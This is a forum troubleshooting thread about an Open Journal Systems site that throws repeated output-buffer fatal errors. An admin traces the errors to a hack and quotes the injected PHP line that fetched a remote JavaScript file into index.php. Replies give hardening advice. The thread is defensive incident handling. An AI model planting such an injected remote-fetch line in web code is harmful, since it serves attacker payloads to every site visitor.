[Mon Oct 07 11:40:23.275484 2024] [fcgid:warn] [pid 3719462:tid 3719462] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:24.262175 2024] [fcgid:warn] [pid 3719471:tid 3719471] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:41:07.562948 2024] [fcgid:warn] [pid 3720138:tid 3720138] [client 64.71.157.125:0] mod_fcgid: stderr: PHP Deprecated:  preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/cache/t_compile/aea12045582992a965708c39555152500c3c4342^c5a64687d825cbd410323f081b8e13fb7be00543_0.plugins-1-plugins-generic-webFeed-generic-webFeed.rss2.tpl.php on line 100
[Mon Oct 07 11:41:07.562993 2024] [fcgid:warn] [pid 3720138:tid 3720138] [client 64.71.157.125:0] mod_fcgid: stderr: PHP Deprecated:  preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/cache/t_compile/aea12045582992a965708c39555152500c3c4342^c5a64687d825cbd410323f081b8e13fb7be00543_0.plugins-1-plugins-generic-webFeed-generic-webFeed.rss2.tpl.php on line 100
[Mon Oct 07 11:45:46.152984 2024] [fcgid:warn] [pid 3719325:tid 3719325] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: PHP Fatal error:  Uncaught RuntimeException: Unexpected data in output buffer. Maybe you have characters before an opening <?php tag? in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php:621, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.153030 2024] [fcgid:warn] [pid 3719325:tid 3719325] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: Stack trace:, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.153033 2024] [fcgid:warn] [pid 3719325:tid 3719325] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #0 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php(317): Slim\\App->finalize(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.153035 2024] [fcgid:warn] [pid 3719325:tid 3719325] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #1 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/APIRouter.inc.php(115): Slim\\App->run(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.153038 2024] [fcgid:warn] [pid 3719325:tid 3719325] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #2 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/Dispatcher.inc.php(144): APIRouter->route(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.153040 2024] [fcgid:warn] [pid 3719325:tid 3719325] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #3 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/PKPApplication.inc.php(360): Dispatcher->dispatch(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.153043 2024] [fcgid:warn] [pid 3719325:tid 3719325] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #4 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/index.php(72): PKPApplication->execute(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.153045 2024] [fcgid:warn] [pid 3719325:tid 3719325] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #5 {main}, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.153047 2024] [fcgid:warn] [pid 3719325:tid 3719325] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr:   thrown in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php on line 621, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.231734 2024] [fcgid:warn] [pid 3720003:tid 3720003] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: PHP Fatal error:  Uncaught RuntimeException: Unexpected data in output buffer. Maybe you have characters before an opening <?php tag? in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php:621, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.231799 2024] [fcgid:warn] [pid 3720003:tid 3720003] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: Stack trace:, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.231801 2024] [fcgid:warn] [pid 3720003:tid 3720003] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #0 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php(317): Slim\\App->finalize(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.231804 2024] [fcgid:warn] [pid 3720003:tid 3720003] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #1 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/APIRouter.inc.php(115): Slim\\App->run(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.231806 2024] [fcgid:warn] [pid 3720003:tid 3720003] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #2 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/Dispatcher.inc.php(144): APIRouter->route(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.231808 2024] [fcgid:warn] [pid 3720003:tid 3720003] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #3 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/PKPApplication.inc.php(360): Dispatcher->dispatch(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.231811 2024] [fcgid:warn] [pid 3720003:tid 3720003] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #4 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/index.php(72): PKPApplication->execute(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.231813 2024] [fcgid:warn] [pid 3720003:tid 3720003] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #5 {main}, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:46.231815 2024] [fcgid:warn] [pid 3720003:tid 3720003] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr:   thrown in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php on line 621, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:47.509078 2024] [fcgid:warn] [pid 3719471:tid 3719471] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: PHP Fatal error:  Uncaught RuntimeException: Unexpected data in output buffer. Maybe you have characters before an opening <?php tag? in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php:621, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:47.509132 2024] [fcgid:warn] [pid 3719471:tid 3719471] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: Stack trace:, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:47.509136 2024] [fcgid:warn] [pid 3719471:tid 3719471] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #0 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php(317): Slim\\App->finalize(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:47.509140 2024] [fcgid:warn] [pid 3719471:tid 3719471] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #1 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/APIRouter.inc.php(115): Slim\\App->run(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:47.509159 2024] [fcgid:warn] [pid 3719471:tid 3719471] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #2 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/Dispatcher.inc.php(144): APIRouter->route(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:47.509162 2024] [fcgid:warn] [pid 3719471:tid 3719471] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #3 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/PKPApplication.inc.php(360): Dispatcher->dispatch(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:47.509165 2024] [fcgid:warn] [pid 3719471:tid 3719471] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #4 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/index.php(72): PKPApplication->execute(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:47.509169 2024] [fcgid:warn] [pid 3719471:tid 3719471] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #5 {main}, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:45:47.509171 2024] [fcgid:warn] [pid 3719471:tid 3719471] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr:   thrown in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php on line 621, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 11:53:55.241474 2024] [fcgid:warn] [pid 3737173:tid 3737173] [client 40.77.167.20:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:55:10.156360 2024] [fcgid:warn] [pid 3749226:tid 3749226] [client 64.71.157.103:0] mod_fcgid: stderr: PHP Deprecated:  preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/cache/t_compile/aea12045582992a965708c39555152500c3c4342^c5a64687d825cbd410323f081b8e13fb7be00543_0.plugins-1-plugins-generic-webFeed-generic-webFeed.rss2.tpl.php on line 100
[Mon Oct 07 11:55:10.156391 2024] [fcgid:warn] [pid 3749226:tid 3749226] [client 64.71.157.103:0] mod_fcgid: stderr: PHP Deprecated:  preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/cache/t_compile/aea12045582992a965708c39555152500c3c4342^c5a64687d825cbd410323f081b8e13fb7be00543_0.plugins-1-plugins-generic-webFeed-generic-webFeed.rss2.tpl.php on line 100
[Mon Oct 07 11:57:28.689749 2024] [fcgid:warn] [pid 3750721:tid 3750721] [client 5.255.231.20:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 12:03:27.031362 2024] [fcgid:warn] [pid 3762000:tid 3762000] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: PHP Fatal error:  Uncaught RuntimeException: Unexpected data in output buffer. Maybe you have characters before an opening <?php tag? in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php:621, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.031437 2024] [fcgid:warn] [pid 3762000:tid 3762000] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: Stack trace:, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.031440 2024] [fcgid:warn] [pid 3762000:tid 3762000] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #0 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php(317): Slim\\App->finalize(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.031463 2024] [fcgid:warn] [pid 3762000:tid 3762000] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #1 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/APIRouter.inc.php(115): Slim\\App->run(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.031499 2024] [fcgid:warn] [pid 3762000:tid 3762000] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #2 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/Dispatcher.inc.php(144): APIRouter->route(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.031503 2024] [fcgid:warn] [pid 3762000:tid 3762000] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #3 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/PKPApplication.inc.php(360): Dispatcher->dispatch(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.031506 2024] [fcgid:warn] [pid 3762000:tid 3762000] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #4 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/index.php(72): PKPApplication->execute(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.031509 2024] [fcgid:warn] [pid 3762000:tid 3762000] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #5 {main}, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.031511 2024] [fcgid:warn] [pid 3762000:tid 3762000] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr:   thrown in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php on line 621, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.182571 2024] [fcgid:warn] [pid 3749226:tid 3749226] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: PHP Fatal error:  Uncaught RuntimeException: Unexpected data in output buffer. Maybe you have characters before an opening <?php tag? in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php:621, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.182619 2024] [fcgid:warn] [pid 3749226:tid 3749226] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: Stack trace:, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.182622 2024] [fcgid:warn] [pid 3749226:tid 3749226] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #0 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php(317): Slim\\App->finalize(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.182624 2024] [fcgid:warn] [pid 3749226:tid 3749226] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #1 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/APIRouter.inc.php(115): Slim\\App->run(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.182626 2024] [fcgid:warn] [pid 3749226:tid 3749226] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #2 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/Dispatcher.inc.php(144): APIRouter->route(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.182629 2024] [fcgid:warn] [pid 3749226:tid 3749226] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #3 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/PKPApplication.inc.php(360): Dispatcher->dispatch(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.182645 2024] [fcgid:warn] [pid 3749226:tid 3749226] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #4 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/index.php(72): PKPApplication->execute(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.182647 2024] [fcgid:warn] [pid 3749226:tid 3749226] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #5 {main}, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:27.182649 2024] [fcgid:warn] [pid 3749226:tid 3749226] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr:   thrown in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php on line 621, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:28.725526 2024] [fcgid:warn] [pid 3737153:tid 3737153] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: PHP Fatal error:  Uncaught RuntimeException: Unexpected data in output buffer. Maybe you have characters before an opening <?php tag? in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php:621, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:28.725568 2024] [fcgid:warn] [pid 3737153:tid 3737153] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: Stack trace:, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:28.725570 2024] [fcgid:warn] [pid 3737153:tid 3737153] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #0 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php(317): Slim\\App->finalize(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:28.725573 2024] [fcgid:warn] [pid 3737153:tid 3737153] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #1 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/APIRouter.inc.php(115): Slim\\App->run(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:28.725575 2024] [fcgid:warn] [pid 3737153:tid 3737153] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #2 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/Dispatcher.inc.php(144): APIRouter->route(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:28.725577 2024] [fcgid:warn] [pid 3737153:tid 3737153] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #3 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/classes/core/PKPApplication.inc.php(360): Dispatcher->dispatch(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:28.725580 2024] [fcgid:warn] [pid 3737153:tid 3737153] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #4 /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/index.php(72): PKPApplication->execute(), referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:28.725582 2024] [fcgid:warn] [pid 3737153:tid 3737153] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr: #5 {main}, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 12:03:28.725584 2024] [fcgid:warn] [pid 3737153:tid 3737153] [client 2001:9e8:1bc8:4800:6801:bb46:3a2:805f:0] mod_fcgid: stderr:   thrown in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/slim/slim/Slim/App.php on line 621, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions

Could these problems be caused by our web host changing configurations on the server?

That’s probably the error you should follow up. Could be a problem of your php.ini, you may check with your provider.

The fatal error is just due to the settings page returns some unexpected output

see /lib/pkp/lib/vendor/slim/slim/Slim/App.php lines 617-623:

        // Add Content-Length header if `addContentLengthHeader` setting is set
        if (isset($this->container->get('settings')['addContentLengthHeader']) &&
            $this->container->get('settings')['addContentLengthHeader'] == true) {
            if (ob_get_length() > 0) {
                throw new RuntimeException("Unexpected data in output buffer. " .
                    "Maybe you have characters before an opening <?php tag?");
            }

I would suggest that Plesk and its system was updated/upgraded. The Ueditor could be part of plesk.
Guessing from the logs I would suggest to check:

  • Does config.ini.php fit to the system? (Any adjustments previously made in base_url[journal_path] ? )
  • Are folders specified correctly, like files_dir and public_dir?
  • Use PHP 8.1
  • Use PHP as FPM instead of FCGI
  • clear the OJS’s caches

It depends on how much access you have on your Plesk by your provider, but you should be able to see the logfiles through Plesk interface. Therefore also standard php.ini settings should be fine and should only be adjusted through Plesk interface.
If there really was an update/upgrade, maybe a reboot of the machine is still needed in order to apply the upgrades.

I think I have solved the problem. It was due to a hack. The following code was added to the beginning of index.php:

<?php $a = file_get_contents(‘https://geo.pdampadang.co.id/898/bootsrap.js’); echo $a; ?>

I can’t say exactly how this happened, whether data was tapped and what the aim of the hack was. I have determined which relevant files on the server were changed between 1 and 8 October, and that was only the index.php.

After a complete reinstallation of OJS, everything seems to be working again. I have changed all the relevant passwords, including the one for the database to be on the safe side.

Are these security precautions sufficient or can we do more? I have already informed our provider about the hack.

Thank you so much for your helpful advice, @klausru and @mpbraendle !

1 Like

Dear @adm_sub
It’s good to know that you found the corrupted file.
Although this of course poses a lot of questions and should remind all of us to be VERY careful.

As for Plesk, questions could be to disable ftp for your instance, have fail2ban enabled, disable the user names ‘root’ and ‘admin’ for plesk and ssh. Ideally, login via SSH only with Public Key Authentication.

Just while writing this, I came across this: https://openjournaltheme.com/docs/how-to-secure-ojs/#h-block-access-for-injected-script which might be an interesting comment.

All the best
Klaus

PS: Feel free to share your theme on Github. Those few missing awesome font icons should not matter that much.

Hi @adm_sub ,

please follow the security instructions on https://docs.pkp.sfu.ca/admin-guide/en/securing-your-system

Also, please check your file permissions within the application’s directory and the files directory. Please follow the guidelines on https://docs.pkp.sfu.ca/admin-guide/en/troubleshooting#configuring-file-permissions

Also, it is recommended to install the Control Public Files plugin from the plugin gallery, which allows to restrict what registered users are allowed to upload.